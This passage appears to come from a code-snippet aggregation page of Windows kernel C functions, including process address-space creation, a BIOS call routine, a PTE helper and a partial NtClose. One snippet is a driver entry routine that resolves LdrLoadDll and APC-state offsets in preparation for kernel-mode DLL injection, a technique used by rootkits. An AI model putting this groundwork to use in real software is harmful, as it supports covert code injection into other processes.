    //  Find out if we are running an a FujitsuFMR machine.
    //

    FatData.FujitsuFMR = FatIsFujitsuFMR();

#if (NTDDI_VERSION >= NTDDI_WIN8)

    //
    //  Find out global disk accounting state, cache the result
    //

    FatDiskAccountingEnabled = PsIsDiskCountersEnabled();

#endif

    //
    //  And return to our caller
    //

    return( STATUS_SUCCESS );
}
예제 #19
0
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING pRegistryPath)
{
	NTSTATUS Status;
	PDEVICE_OBJECT DeviceObject;
	PEPROCESS Process;
	PETHREAD Thread;
	PKAPC_STATE ApcState;

	PVOID KdVersionBlock,NtdllBase;
	PULONG ptr,Functions,Names;
	PUSHORT Ordinals;

	PLDR_DATA_TABLE_ENTRY MmLoadedUserImageList,ModuleEntry;
	ULONG i;

	PIMAGE_DOS_HEADER pIDH;
	PIMAGE_NT_HEADERS pINH;
	PIMAGE_EXPORT_DIRECTORY pIED;

	UNICODE_STRING   uniDeviceName;
	UNICODE_STRING   uniLinkName;

	RtlInitUnicodeString(&uniDeviceName,DEVICE_NAME);

	RtlInitUnicodeString(&uniLinkName,LINK_NAME);

	for (i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
	{
		DriverObject->MajorFunction[i] = DefaultPassThrough;
	}
	DriverObject->DriverUnload = UnloadDriver;

	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;

	//创建设备对象
	Status = IoCreateDevice(DriverObject,0,&uniDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,&DeviceObject);

	if (!NT_SUCCESS(Status))
	{

		return Status;
	}

	Status = IoCreateSymbolicLink(&uniLinkName,&uniDeviceName);

	if (!NT_SUCCESS(Status))
	{
		IoDeleteDevice(DeviceObject);

		return Status;
	}

	//使当前线程运行在第一个处理器上
	KeSetSystemAffinityThread(1);
	KdVersionBlock=(PVOID)__readfsdword(0x34); //得到KdVersionBlock
	KeRevertToUserAffinityThread();//恢复线程运行的处理器
	MmLoadedUserImageList=*(PLDR_DATA_TABLE_ENTRY*)((PUCHAR)KdVersionBlock+0x228); // Get the MmLoadUserImageList

	/*
	kd> !pcr
	KPCR for Processor 0 at 83f3ec00:


	kd> dt _kpcr 83f3ec00
	+0x034 KdVersionBlock   : 0x83f3dc00 Void

	kd> dd 0x83f3dc00+0x228
	83f3de28  83f5de38 00000000 83e5dfa8 00000000
	83f3de38  00000000 00000000 83f7d8c0 00000000
	83f3de48  83f7d560 00000000 83f5d84c 00000000


	kd> dd 83f5de38
	83f5de38  8706b1e8 877cb660 00000000 00000000
	83f5de48  00000000 00000000 00040107 00000000
	83f5de58  865d0690 865d0690 c0403188 0007ff7e

	kd> dt _LDR_DATA_TABLE_ENTRY 8706b1e8
	nt!_LDR_DATA_TABLE_ENTRY
	+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x8713b4e0 - 0x83f5de38 ]
	+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
	+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
	+0x018 DllBase          : 0x77ce0000 Void
	+0x01c EntryPoint       : (null) 
	+0x020 SizeOfImage      : 0x13c000
	+0x024 FullDllName      : _UNICODE_STRING "\Windows\System32\ntdll.dll"
	+0x02c BaseDllName      : _UNICODE_STRING ""
	+0x034 Flags            : 0
	+0x038 LoadCount        : 1
	+0x03a TlsIndex         : 0
	+0x03c HashLinks        : _LIST_ENTRY [ 0x0 - 0x1490d9 ]
	+0x03c SectionPointer   : (null) 
	+0x040 CheckSum         : 0x1490d9
	+0x044 TimeDateStamp    : 0
	+0x044 LoadedImports    : (null) 
	+0x048 EntryPointActivationContext : (null) 
	+0x04c PatchInformation : (null) 
	+0x050 ForwarderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]
	+0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x0 - 0x57005c ]
	+0x060 StaticLinks      : _LIST_ENTRY [ 0x6e0069 - 0x6f0064 ]
	+0x068 ContextInformation : 0x00730077 Void
	+0x06c OriginalBase     : 0x53005c
	+0x070 LoadTime         : _LARGE_INTEGER 0x650074`00730079

	*/
	DbgPrint("KdVersionBlock address: %#x",KdVersionBlock);
	DbgPrint("MmLoadedUserImageList address: %#x",MmLoadedUserImageList);

	ModuleEntry=(PLDR_DATA_TABLE_ENTRY)MmLoadedUserImageList->InLoadOrderLinks.Flink; //第一模块
	NtdllBase=ModuleEntry->DllBase; //ntdll基地址

	DbgPrint("ntdll base address: %#x",NtdllBase);

	pIDH=(PIMAGE_DOS_HEADER)NtdllBase;
	pINH=(PIMAGE_NT_HEADERS)((PUCHAR)NtdllBase+pIDH->e_lfanew);
	pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)NtdllBase+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	Functions=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfFunctions);
	Names=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfNames);

	Ordinals=(PUSHORT)((PUCHAR)NtdllBase+pIED->AddressOfNameOrdinals);

	//搜索LdrLoadDll
	for(i=0;i<pIED->NumberOfNames;i++)
	{
		if(!strcmp((char*)NtdllBase+Names[i],"LdrLoadDll"))
		{
			LdrLoadDll=(PLDR_LOAD_DLL)((PUCHAR)NtdllBase+Functions[Ordinals[i]]);
			break;
		}
	}

	DbgPrint("LdrLoadDll address: %#x",LdrLoadDll);

	Process=PsGetCurrentProcess();
	Thread=PsGetCurrentThread();

	ptr=(PULONG)Thread;

	//确定ApcState在EThread中的偏移
	for(i=0;i<512;i++)
	{
		if(ptr[i]==(ULONG)Process)
		{
			ApcState=CONTAINING_RECORD(&ptr[i],KAPC_STATE,Process); 
			ApcStateOffset=(ULONG)ApcState-(ULONG)Thread; 
			break;
		}
	}

	DbgPrint("ApcState offset: %#x",ApcStateOffset);
	DbgPrint("DLL injection driver loaded.");
	return STATUS_SUCCESS;
}
예제 #20
0
BOOLEAN
MmCreateProcessAddressSpace (
    IN ULONG MinimumWorkingSetSize,
    IN PEPROCESS NewProcess,
    OUT PULONG_PTR DirectoryTableBase
    )

/*++

Routine Description:

    This routine creates an address space which maps the system
    portion and contains a hyper space entry.

Arguments:

    MinimumWorkingSetSize - Supplies the minimum working set size for
                            this address space.  This value is only used
                            to ensure that ample physical pages exist
                            to create this process.

    NewProcess - Supplies a pointer to the process object being created.

    DirectoryTableBase - Returns the value of the newly created
                         address space's Page Directory (PD) page and
                         hyper space page.

Return Value:

    Returns TRUE if an address space was successfully created, FALSE
    if ample physical pages do not exist.

Environment:

    Kernel mode.  APCs Disabled.

--*/

{
    LOGICAL FlushTbNeeded;
    PFN_NUMBER PageDirectoryIndex;
    PFN_NUMBER HyperSpaceIndex;
    PFN_NUMBER PageContainingWorkingSet;
    PFN_NUMBER VadBitMapPage;
    MMPTE TempPte;
    MMPTE TempPte2;
    PEPROCESS CurrentProcess;
    KIRQL OldIrql;
    PMMPFN Pfn1;
    ULONG Color;
    PMMPTE PointerPte;
    ULONG PdeOffset;
    PMMPTE MappingPte;
    PMMPTE PointerFillPte;
    PMMPTE CurrentAddressSpacePde;

    //
    // Charge commitment for the page directory pages, working set page table
    // page, and working set list.  If Vad bitmap lookups are enabled, then
    // charge for a page or two for that as well.
    //

    if (MiChargeCommitment (MM_PROCESS_COMMIT_CHARGE, NULL) == FALSE) {
        return FALSE;
    }

    FlushTbNeeded = FALSE;
    CurrentProcess = PsGetCurrentProcess ();

    NewProcess->NextPageColor = (USHORT) (RtlRandom (&MmProcessColorSeed));
    KeInitializeSpinLock (&NewProcess->HyperSpaceLock);

    //
    // Get the PFN lock to get physical pages.
    //

    LOCK_PFN (OldIrql);

    //
    // Check to make sure the physical pages are available.
    //

    if (MI_NONPAGEABLE_MEMORY_AVAILABLE() <= (SPFN_NUMBER)MinimumWorkingSetSize){

        UNLOCK_PFN (OldIrql);
        MiReturnCommitment (MM_PROCESS_COMMIT_CHARGE);

        //
        // Indicate no directory base was allocated.
        //

        return FALSE;
    }

    MM_TRACK_COMMIT (MM_DBG_COMMIT_PROCESS_CREATE, MM_PROCESS_COMMIT_CHARGE);

    MI_DECREMENT_RESIDENT_AVAILABLE (MinimumWorkingSetSize,
                                     MM_RESAVAIL_ALLOCATE_CREATE_PROCESS);

    //
    // Allocate a page directory page.
    //

    if (MmAvailablePages < MM_HIGH_LIMIT) {
        MiEnsureAvailablePageOrWait (NULL, OldIrql);
    }

    Color =  MI_PAGE_COLOR_PTE_PROCESS (PDE_BASE,
                                        &CurrentProcess->NextPageColor);

    PageDirectoryIndex = MiRemoveZeroPageMayReleaseLocks (Color, OldIrql);

    Pfn1 = MI_PFN_ELEMENT (PageDirectoryIndex);

    if (Pfn1->u3.e1.CacheAttribute != MiCached) {
        Pfn1->u3.e1.CacheAttribute = MiCached;
        FlushTbNeeded = TRUE;
    }

    //
    // Allocate the hyper space page table page.
    //

    if (MmAvailablePages < MM_HIGH_LIMIT) {
        MiEnsureAvailablePageOrWait (NULL, OldIrql);
    }

    Color = MI_PAGE_COLOR_PTE_PROCESS (MiGetPdeAddress(HYPER_SPACE),
                                       &CurrentProcess->NextPageColor);

    HyperSpaceIndex = MiRemoveZeroPageMayReleaseLocks (Color, OldIrql);

    Pfn1 = MI_PFN_ELEMENT (HyperSpaceIndex);

    if (Pfn1->u3.e1.CacheAttribute != MiCached) {
        Pfn1->u3.e1.CacheAttribute = MiCached;
        FlushTbNeeded = TRUE;
    }

    //
    // Remove page(s) for the VAD bitmap.
    //

    if (MmAvailablePages < MM_HIGH_LIMIT) {
        MiEnsureAvailablePageOrWait (NULL, OldIrql);
    }

    Color = MI_PAGE_COLOR_VA_PROCESS (MmWorkingSetList,
                                      &CurrentProcess->NextPageColor);

    VadBitMapPage = MiRemoveZeroPageMayReleaseLocks (Color, OldIrql);

    Pfn1 = MI_PFN_ELEMENT (VadBitMapPage);

    if (Pfn1->u3.e1.CacheAttribute != MiCached) {
        Pfn1->u3.e1.CacheAttribute = MiCached;
        FlushTbNeeded = TRUE;
    }

    //
    // Remove a page for the working set list.
    //

    if (MmAvailablePages < MM_HIGH_LIMIT) {
        MiEnsureAvailablePageOrWait (NULL, OldIrql);
    }

    Color = MI_PAGE_COLOR_VA_PROCESS (MmWorkingSetList,
                                      &CurrentProcess->NextPageColor);

    PageContainingWorkingSet = MiRemoveZeroPageMayReleaseLocks (Color, OldIrql);

    Pfn1 = MI_PFN_ELEMENT (PageContainingWorkingSet);

    if (Pfn1->u3.e1.CacheAttribute != MiCached) {
        Pfn1->u3.e1.CacheAttribute = MiCached;
        FlushTbNeeded = TRUE;
    }

    UNLOCK_PFN (OldIrql);

    if (FlushTbNeeded == TRUE) {
        MI_FLUSH_TB_FOR_CACHED_ATTRIBUTE ();
    }

    ASSERT (NewProcess->AddressSpaceInitialized == 0);
    PS_SET_BITS (&NewProcess->Flags, PS_PROCESS_FLAGS_ADDRESS_SPACE1);
    ASSERT (NewProcess->AddressSpaceInitialized == 1);

    NewProcess->Vm.MinimumWorkingSetSize = MinimumWorkingSetSize;

    NewProcess->WorkingSetPage = PageContainingWorkingSet;

    INITIALIZE_DIRECTORY_TABLE_BASE (&DirectoryTableBase[0], PageDirectoryIndex);

    INITIALIZE_DIRECTORY_TABLE_BASE (&DirectoryTableBase[1], HyperSpaceIndex);

    //
    // Initialize the page reserved for hyper space.
    //

    TempPte = ValidPdePde;
    MI_SET_GLOBAL_STATE (TempPte, 0);

    MappingPte = MiReserveSystemPtes (1, SystemPteSpace);

    if (MappingPte != NULL) {

        MI_MAKE_VALID_KERNEL_PTE (TempPte2,
                                  HyperSpaceIndex,
                                  MM_READWRITE,
                                  MappingPte);

        MI_SET_PTE_DIRTY (TempPte2);

        MI_WRITE_VALID_PTE (MappingPte, TempPte2);

        PointerPte = MiGetVirtualAddressMappedByPte (MappingPte);
    }
    else {
        PointerPte = MiMapPageInHyperSpace (CurrentProcess, HyperSpaceIndex, &OldIrql);
    }

    TempPte.u.Hard.PageFrameNumber = VadBitMapPage;
    PointerPte[MiGetPteOffset(VAD_BITMAP_SPACE)] = TempPte;

    TempPte.u.Hard.PageFrameNumber = PageContainingWorkingSet;
    PointerPte[MiGetPteOffset(MmWorkingSetList)] = TempPte;

    if (MappingPte != NULL) {
        MiReleaseSystemPtes (MappingPte, 1, SystemPteSpace);
    }
    else {
        MiUnmapPageInHyperSpace (CurrentProcess, PointerPte, OldIrql);
    }

    //
    // Set the PTE address in the PFN for the page directory page.
    //

    Pfn1 = MI_PFN_ELEMENT (PageDirectoryIndex);

    Pfn1->PteAddress = (PMMPTE)PDE_BASE;

    TempPte = ValidPdePde;
    TempPte.u.Hard.PageFrameNumber = HyperSpaceIndex;
    MI_SET_GLOBAL_STATE (TempPte, 0);

    //
    // Add the new process to our internal list prior to filling any
    // system PDEs so if a system PDE changes (large page map or unmap)
    // it can mark this process for a subsequent update.
    //

    ASSERT (NewProcess->Pcb.DirectoryTableBase[0] == 0);

    LOCK_EXPANSION (OldIrql);

    InsertTailList (&MmProcessList, &NewProcess->MmProcessLinks);

    UNLOCK_EXPANSION (OldIrql);

    //
    // Map the page directory page in hyperspace.
    //

    MappingPte = MiReserveSystemPtes (1, SystemPteSpace);

    if (MappingPte != NULL) {

        MI_MAKE_VALID_KERNEL_PTE (TempPte2,
                                  PageDirectoryIndex,
                                  MM_READWRITE,
                                  MappingPte);

        MI_SET_PTE_DIRTY (TempPte2);

        MI_WRITE_VALID_PTE (MappingPte, TempPte2);

        PointerPte = MiGetVirtualAddressMappedByPte (MappingPte);
    }
    else {
        PointerPte = MiMapPageInHyperSpace (CurrentProcess, PageDirectoryIndex, &OldIrql);
    }

    PdeOffset = MiGetPdeOffset (MmSystemRangeStart);
    PointerFillPte = &PointerPte[PdeOffset];
    CurrentAddressSpacePde = MiGetPdeAddress (MmSystemRangeStart);

    RtlCopyMemory (PointerFillPte,
                   CurrentAddressSpacePde,
                   PAGE_SIZE - PdeOffset * sizeof (MMPTE));

    //
    // Map the working set page table page.
    //

    PdeOffset = MiGetPdeOffset (HYPER_SPACE);
    PointerPte[PdeOffset] = TempPte;

    //
    // Zero the remaining page directory range used to map the working
    // set list and its hash.
    //

    PdeOffset += 1;
    ASSERT (MiGetPdeOffset (MmHyperSpaceEnd) >= PdeOffset);

    MiZeroMemoryPte (&PointerPte[PdeOffset],
                     (MiGetPdeOffset (MmHyperSpaceEnd) - PdeOffset + 1));

    //
    // Recursively map the page directory page so it points to itself.
    //

    TempPte.u.Hard.PageFrameNumber = PageDirectoryIndex;
    PointerPte[MiGetPdeOffset(PTE_BASE)] = TempPte;

    if (MappingPte != NULL) {
        MiReleaseSystemPtes (MappingPte, 1, SystemPteSpace);
    }
    else {
        MiUnmapPageInHyperSpace (CurrentProcess, PointerPte, OldIrql);
    }

    InterlockedExchangeAddSizeT (&MmProcessCommit, MM_PROCESS_COMMIT_CHARGE);

    //
    // Up the session space reference count.
    //

    MiSessionAddProcess (NewProcess);

    return TRUE;
}
예제 #21
0
PEPROCESS GetCurrentProcessObject() { return PsGetCurrentProcess(); }
예제 #22
0
NTSTATUS
Ke386CallBios (
    IN ULONG BiosCommand,
    IN OUT PCONTEXT BiosArguments
    )

/*++

Routine Description:

    This function invokes specified ROM BIOS code by executing
    "INT BiosCommand."  Before executing the BIOS code, this function
    will setup VDM context, change stack pointer ...etc.  If for some reason
    the operation fails, a status code will be returned.  Otherwise, this
    function always returns success regardless of the result of the BIOS
    call.

    N.B. This implementation relies on the fact that the direct
         I/O access operations between apps are serialized by win user.

Arguments:

    BiosCommand - Supplies which ROM BIOS function to invoke.

    BiosArguments - Supplies a pointer to the context which will be used
                    to invoke ROM BIOS.

Return Value:

    NTSTATUS code to specify the failure.

--*/

{

    PVDM_TIB VdmTib;
    PUCHAR BaseAddress = (PUCHAR)V86_CODE_ADDRESS;
    PTEB UserInt10Teb = (PTEB)INT_10_TEB;
    PKTSS Tss;
    PKPROCESS Process;
    PKTHREAD Thread;
    USHORT OldIopmOffset, OldIoMapBase;
    PVDM_PROCESS_OBJECTS VdmObjects;
    ULONG   ContextLength;
    UCHAR ThreadDebugActiveMask;

    //
    // Map in ROM BIOS area to perform the int 10 code
    //

    try {

        RtlZeroMemory(UserInt10Teb, sizeof(TEB));

        //
        // Write "Int BiosCommand; bop" to reserved user space (0x1000).
        // Later control will transfer to the user space to execute
        // these two instructions.
        //

        *BaseAddress++ = INT_OPCODE;
        *BaseAddress++ = (UCHAR)BiosCommand;
        *(PULONG)BaseAddress = V86_BOP_OPCODE;

        //
        // Set up Vdm(v86) context to execute the int BiosCommand
        // instruction by copying user supplied context to VdmContext
        // and updating the control registers to predefined values.
        //

        //
        // We want to use a constant number for the int10.
        //
        // Create a fake TEB so we can switch the thread to it while we
        // do an int10
        //

        UserInt10Teb->Vdm = (PVOID)VDM_TIB_ADDRESS;
        VdmTib = (PVDM_TIB)VDM_TIB_ADDRESS;
        RtlZeroMemory(VdmTib, sizeof(VDM_TIB));
        VdmTib->Size = sizeof(VDM_TIB);

        *FIXED_NTVDMSTATE_LINEAR_PC_AT = 0;

        //
        // extended registers are never going to matter to
        //  an Int10 call, so only copy the old part of the
        //  context record.
        //
        ContextLength = FIELD_OFFSET(CONTEXT, ExtendedRegisters);

        RtlCopyMemory(&(VdmTib->VdmContext), BiosArguments, ContextLength);
        VdmTib->VdmContext.SegCs = (ULONG)BaseAddress >> 4;
        VdmTib->VdmContext.SegSs = (ULONG)BaseAddress >> 4;
        VdmTib->VdmContext.Eip = 0;
        VdmTib->VdmContext.Esp = 2 * PAGE_SIZE - sizeof(ULONG);
        VdmTib->VdmContext.EFlags |= EFLAGS_V86_MASK | EFLAGS_INTERRUPT_MASK;
        VdmTib->VdmContext.ContextFlags = CONTEXT_FULL;

    } except (EXCEPTION_EXECUTE_HANDLER) {

        return GetExceptionCode();
    }

    //
    // The vdm kernel code finds the Tib by looking at a pointer cached in
    // kernel memory, which was probed at Vdm creation time.  Since the
    // creation semantics for this vdm are peculiar, we do something similar
    // here.
    //

    //
    // We never get here on a process that is a real vdm.  If we do,
    // bad things will happen  (pool leak, failure to execute dos and
    // windows apps).
    //

    ASSERT(PsGetCurrentProcess()->VdmObjects == NULL);

    VdmObjects = ExAllocatePoolWithTag (NonPagedPool,
                                        sizeof(VDM_PROCESS_OBJECTS),
                                        '  eK'
                                        );

    //
    // Since we are doing this on behalf of CSR not a user process, we aren't
    // charging quota.
    //

    if (VdmObjects == NULL) {
        return STATUS_NO_MEMORY;
    }

    //
    // We are only initializing the VdmTib pointer, because that's the only
    // part of the VdmObjects we use for ROM calls.  We aren't set up
    // to simulate interrupts, or any of the other stuff that would be done
    // in a conventional vdm
    //

    RtlZeroMemory( VdmObjects, sizeof(VDM_PROCESS_OBJECTS));

    VdmObjects->VdmTib = VdmTib;

    PsGetCurrentProcess()->VdmObjects = VdmObjects;
    PS_SET_BITS(&PsGetCurrentProcess()->Flags, PS_PROCESS_FLAGS_VDM_ALLOWED);

    //
    // Since we are going to v86 mode and accessing some I/O ports, we
    // need to make sure the IopmOffset is set correctly across context
    // swap and the I/O bit map has all the bits cleared.
    // N.B.  This implementation assumes that there is only one full
    //       screen DOS app and the io access between full screen DOS
    //       app and the server code is serialized by win user.  That
    //       means even we change the IOPM, the full screen dos app won't
    //       be able to run on this IOPM.
    //     * In another words, IF THERE IS
    //     * MORE THAN ONE FULL SCREEN DOS APPS, THIS CODE IS BROKEN.*
    //
    // NOTE This code works on the assumption that winuser serializes
    //      direct I/O access operations.
    //

    //
    // Call the bios from the processor which booted the machine.
    //

    Thread = KeGetCurrentThread();
    KeSetSystemAffinityThread(1);
    Tss = KeGetPcr()->TSS;

    //
    // Save away the original IOPM bit map and clear all the IOPM bits
    // to allow v86 int 10 code to access ALL the io ports.
    //

    //
    // Make sure there are at least 2 IOPM maps.
    //

    ASSERT(KeGetPcr()->GDT[KGDT_TSS / 8].LimitLow >= (0x2000 + IOPM_OFFSET - 1));
    RtlCopyMemory (Ki386IopmSaveArea,
                   (PVOID)&Tss->IoMaps[0].IoMap,
                   PAGE_SIZE * 2
                   );
    RtlZeroMemory ((PVOID)&Tss->IoMaps[0].IoMap, PAGE_SIZE * 2);

    Process = Thread->ApcState.Process;
    OldIopmOffset = Process->IopmOffset;
    OldIoMapBase = Tss->IoMapBase;
    Process->IopmOffset = (USHORT)(IOPM_OFFSET);      // Set Process IoPmOffset before
    Tss->IoMapBase = (USHORT)(IOPM_OFFSET);           // updating Tss IoMapBase

    //
    // The context setup for the BIOS will not have valid debug registers
    // in it, don't try to load them.
    //

    ThreadDebugActiveMask = (UCHAR) Thread->Header.DebugActive;
    Thread->Header.DebugActive = (BOOLEAN) 0;

    //
    // Call ASM routine to switch stack to exit to v86 mode to
    // run Int BiosCommand.
    //

    Ki386SetupAndExitToV86Code(UserInt10Teb);

    //
    // After we return from v86 mode, the control comes here.
    //
    // Restore Thread's DebugActive flag.
    //

    Thread->Header.DebugActive = (BOOLEAN) ThreadDebugActiveMask;

    //
    // Restore old IOPM
    //

    RtlCopyMemory ((PVOID)&Tss->IoMaps[0].IoMap,
                   Ki386IopmSaveArea,
                   PAGE_SIZE * 2
                   );

    Process->IopmOffset = OldIopmOffset;
    Tss->IoMapBase = OldIoMapBase;

    //
    // Restore old affinity for current thread.
    //

    KeRevertToUserAffinityThread();

    //
    // Copy 16 bit vdm context back to caller.
    //
    // Extended register state is not going to matter,
    // so copy only the old part of the context record.
    //

    ContextLength = FIELD_OFFSET(CONTEXT, ExtendedRegisters);
    RtlCopyMemory(BiosArguments, &(VdmTib->VdmContext), ContextLength);
    BiosArguments->ContextFlags = CONTEXT_FULL;

    //
    // Free the pool used for the VdmTib pointer
    //

    PsGetCurrentProcess()->VdmObjects = NULL;
    PS_CLEAR_BITS(&PsGetCurrentProcess()->Flags, PS_PROCESS_FLAGS_VDM_ALLOWED);

    ExFreePool(VdmObjects);

    return STATUS_SUCCESS;
}
예제 #23
0
static
PMMPTE
MiGetPteForProcess(
    PEPROCESS Process,
    PVOID Address,
    BOOLEAN Create)
{
    MMPTE TmplPte, *Pte;

    /* Check if we need hypersapce mapping */
    if (Address < MmSystemRangeStart &&
        Process && Process != PsGetCurrentProcess())
    {
        UNIMPLEMENTED;
        __debugbreak();
        return NULL;
    }
    else if (Create)
    {
        KIRQL OldIrql;
        TmplPte.u.Long = 0;
        TmplPte.u.Flush.Valid = 1;
        TmplPte.u.Flush.Write = 1;

        /* All page table levels of user pages are user owned */
        TmplPte.u.Flush.Owner = (Address < MmHighestUserAddress) ? 1 : 0;

        /* Lock the PFN database */
        OldIrql = KeAcquireQueuedSpinLock(LockQueuePfnLock);

        /* Get the PXE */
        Pte = MiAddressToPxe(Address);
        if (!Pte->u.Hard.Valid)
        {
            TmplPte.u.Hard.PageFrameNumber = MiRemoveZeroPage(0);
            MI_WRITE_VALID_PTE(Pte, TmplPte);
        }

        /* Get the PPE */
        Pte = MiAddressToPpe(Address);
        if (!Pte->u.Hard.Valid)
        {
            TmplPte.u.Hard.PageFrameNumber = MiRemoveZeroPage(1);
            MI_WRITE_VALID_PTE(Pte, TmplPte);
        }

        /* Get the PDE */
        Pte = MiAddressToPde(Address);
        if (!Pte->u.Hard.Valid)
        {
            TmplPte.u.Hard.PageFrameNumber = MiRemoveZeroPage(2);
            MI_WRITE_VALID_PTE(Pte, TmplPte);
        }

        /* Unlock PFN database */
        KeReleaseQueuedSpinLock(LockQueuePfnLock, OldIrql);
    }
    else
    {
        /* Get the PXE */
        Pte = MiAddressToPxe(Address);
        if (!Pte->u.Hard.Valid)
            return NULL;

        /* Get the PPE */
        Pte = MiAddressToPpe(Address);
        if (!Pte->u.Hard.Valid)
            return NULL;

        /* Get the PDE */
        Pte = MiAddressToPde(Address);
        if (!Pte->u.Hard.Valid)
            return NULL;
    }

    return MiAddressToPte(Address);
}
예제 #24
0
파일: obclose.c 프로젝트: mingpen/OpenNT
NTSTATUS
NtClose (
    IN HANDLE Handle
    )

/*++

Routine Description:

    This function is used to close access to the specified handle

Arguments:

    Handle - Supplies the handle being closed

Return Value:

    An appropriate status value

--*/

{
    PHANDLE_TABLE ObjectTable;
    PHANDLE_TABLE_ENTRY ObjectTableEntry;
    PVOID Object;
    ULONG CapturedGrantedAccess;
    ULONG CapturedAttributes;
    POBJECT_HEADER ObjectHeader;
    POBJECT_TYPE ObjectType;
    NTSTATUS Status;
    BOOLEAN AttachedToProcess = FALSE;
    KAPC_STATE ApcState;

    //
    //  Protect ourselves from being interrupted while we hold a handle table
    //  entry lock
    //

    KeEnterCriticalRegion();

    try {

    #if DBG
        KIRQL SaveIrql;
    #endif // DBG

        ObpValidateIrql( "NtClose" );

        ObpBeginTypeSpecificCallOut( SaveIrql );

    #if DBG

        //
        //  On checked builds, check that if the Kernel handle bit is set, then
        //  we're coming from Kernel mode. We should probably fail the call if
        //  bit set && !Kmode
        //

        if ((Handle != NtCurrentThread()) && (Handle != NtCurrentProcess())) {

            ASSERT((Handle < 0 ) ? (KeGetPreviousMode() == KernelMode) : TRUE);
        }

    #endif
        //
        //  For the current process we will grab its handle/object table and
        //  translate the handle to its corresponding table entry.  If the
        //  call is successful it also lock down the handle table.  But first
        //  check for a kernel handle and attach and use that table if so.
        //

        if (IsKernelHandle( Handle, KeGetPreviousMode() ))  {

            Handle = DecodeKernelHandle( Handle );

            ObjectTable = ObpKernelHandleTable;

            //
            //  Go to the system process if we have to
            //
            if (PsGetCurrentProcess() != PsInitialSystemProcess) {
               KeStackAttachProcess (&PsInitialSystemProcess->Pcb, &ApcState);
               AttachedToProcess = TRUE;
            }

        } else {

            ObjectTable = ObpGetObjectTable();
        }

        ObjectTableEntry = ExMapHandleToPointer( ObjectTable,
                                                 Handle );

        //
        //  Check that the specified handle is legitimate otherwise we can
        //  assume the caller just passed in some bogus handle value
        //

        if (ObjectTableEntry != NULL) {

            //
            //  From the object table entry we can grab a pointer to the object
            //  header, get its type and its body
            //

            ObjectHeader = (POBJECT_HEADER)(((ULONG_PTR)(ObjectTableEntry->Object)) & ~OBJ_HANDLE_ATTRIBUTES);
            ObjectType = ObjectHeader->Type;
            Object = &ObjectHeader->Body;

            //
            //  If the object type specifies an okay to close procedure then we
            //  need to invoke that callback.  If the callback doesn't want us to
            //  close handle then unlock the object table and return the error
            //  to our caller
            //

            if (ObjectType->TypeInfo.OkayToCloseProcedure != NULL) {

                if (!(*ObjectType->TypeInfo.OkayToCloseProcedure)( PsGetCurrentProcess(), Object, Handle )) {

                    ObpEndTypeSpecificCallOut( SaveIrql, "NtClose", ObjectType, Object );

                    ExUnlockHandleTableEntry( ObjectTable, ObjectTableEntry );

                    //
                    //  If we are attached to the system process then return
                    //  back to our caller
                    //

                    if (AttachedToProcess) {

                        KeUnstackDetachProcess(&ApcState);
                        AttachedToProcess = FALSE;
                    }

                    Status = STATUS_HANDLE_NOT_CLOSABLE;
                    leave;
                }
            }

            CapturedAttributes = ObjectTableEntry->ObAttributes;

            //
            //  If the previous mode was user and the handle is protected from
            //  being closed, then we'll either raise or return an error depending
            //  on the global flags and debugger port situation.
            //

            if ((CapturedAttributes & OBJ_PROTECT_CLOSE) != 0) {

                if (KeGetPreviousMode() != KernelMode) {

                    ExUnlockHandleTableEntry( ObjectTable, ObjectTableEntry );

                    if ((NtGlobalFlag & FLG_ENABLE_CLOSE_EXCEPTIONS) ||
                        (PsGetCurrentProcess()->DebugPort != NULL)) {

                        //
                        //  If we are attached to the system process then return
                        //  back to our caller
                        //

                        if (AttachedToProcess) {
                            KeUnstackDetachProcess(&ApcState);
                            AttachedToProcess = FALSE;
                        }

                        Status = KeRaiseUserException(STATUS_HANDLE_NOT_CLOSABLE);
                        leave;

                    } else {

                        //
                        //  If we are attached to the system process then return
                        //  back to our caller
                        //

                        if (AttachedToProcess) {
                            KeUnstackDetachProcess(&ApcState);
                            AttachedToProcess = FALSE;
                        }

                        Status = STATUS_HANDLE_NOT_CLOSABLE;
                        leave;
                    }

                } else {

                    if ((!PsIsThreadTerminating(PsGetCurrentThread())) &&
                        (PsGetCurrentProcess()->Peb != NULL)) {

                        ExUnlockHandleTableEntry( ObjectTable, ObjectTableEntry );

    #if DBG
                        //
                        //  bugcheck here on checked builds if kernel mode code is
                        //  closing a protected handle and process is not exiting.
                        //  Ignore if no PEB as this occurs if process is killed
                        //  before really starting.
                        //

                        KeBugCheckEx(INVALID_KERNEL_HANDLE, (ULONG_PTR)Handle, 0, 0, 0);
    #else
                        //
                        //  If we are attached to the system process then return
                        //  back to our caller
                        //

                        if (AttachedToProcess) {
                            KeUnstackDetachProcess(&ApcState);
                            AttachedToProcess = FALSE;
                        }

                        Status = STATUS_HANDLE_NOT_CLOSABLE;
                        leave;
    #endif // DBG

                    }
                }
            }

            //
            //  Get the granted access for the handle
            //

    #if defined(_X86_) && !FPO

            if (NtGlobalFlag & FLG_KERNEL_STACK_TRACE_DB) {

                CapturedGrantedAccess = ObpTranslateGrantedAccessIndex( ObjectTableEntry->GrantedAccessIndex );

            } else {

                CapturedGrantedAccess = ObjectTableEntry->GrantedAccess;
            }

    #else

            CapturedGrantedAccess = ObjectTableEntry->GrantedAccess;

    #endif // _X86_ && !FPO

            //
            //  Now remove the handle from the handle table
            //

            ExDestroyHandle( ObjectTable,
                             Handle,
                             ObjectTableEntry );

            //
            //  perform any auditing required
            //

            //
            //  Extract the value of the GenerateOnClose bit stored
            //  after object open auditing is performed.  This value
            //  was stored by a call to ObSetGenerateOnClosed.
            //

            if (CapturedAttributes & OBJ_AUDIT_OBJECT_CLOSE) {

                if ( SepAdtAuditingEnabled ) {

